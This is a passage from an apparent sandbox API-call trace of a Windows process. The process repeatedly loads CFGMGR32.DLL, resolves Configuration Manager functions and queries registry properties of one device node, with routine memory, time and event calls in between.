0x7ffb1ced0000 [0227.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.611] malloc (_Size=0x18) returned 0x20abc2819a0 [0227.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0227.611] malloc (_Size=0x26) returned 0x20abc2aa120 [0227.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8) returned 0x0 [0227.612] free (_Block=0x20abc2aa120) [0227.612] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x436f89a9, dwHighDateTime=0x1d9eb0c)) [0227.613] SetEvent (hEvent=0x248) returned 1 [0227.616] malloc (_Size=0x18) returned 0x20abc282020 [0227.616] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0227.616] free (_Block=0x20abc282020) [0227.616] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0227.616] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0227.616] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0227.616] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0227.616] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0227.616] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0227.616] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0227.616] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0227.617] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0227.617] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4023d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0227.618] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0227.619] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0227.619] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.619] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.623] malloc (_Size=0x18) returned 0x20abc281ec0 [0227.623] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0227.623] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x436f89a9, dwHighDateTime=0x1d9eb0c)) [0227.624] SetEvent (hEvent=0x248) returned 1 [0227.628] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.628] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.632] malloc (_Size=0x18) returned 0x20abc281c80 [0227.632] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.636] malloc (_Size=0x48) returned 0x20abc2ac080 [0227.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4371fa2c, dwHighDateTime=0x1d9eb0c)) [0227.636] SetEvent (hEvent=0x248) returned 1 [0227.724] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.724] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.729] malloc (_Size=0x18) returned 0x20abc282060 [0227.729] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.729] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x438038b6, dwHighDateTime=0x1d9eb0c)) [0227.730] SetEvent (hEvent=0x248) returned 1 [0227.734] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.734] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.739] malloc (_Size=0x18) returned 0x20abc2819a0 [0227.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.739] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43829f80, dwHighDateTime=0x1d9eb0c)) [0227.740] SetEvent (hEvent=0x248) returned 1 [0227.743] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.744] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.747] malloc (_Size=0x18) returned 0x20abc281b00 [0227.748] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.748] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43829f80, dwHighDateTime=0x1d9eb0c)) [0227.748] SetEvent (hEvent=0x248) returned 1 [0227.755] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.755] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.759] malloc (_Size=0x18) returned 0x20abc281bc0 [0227.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.762] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43850087, dwHighDateTime=0x1d9eb0c)) [0227.762] SetEvent (hEvent=0x248) returned 1 [0227.768] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.768] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, 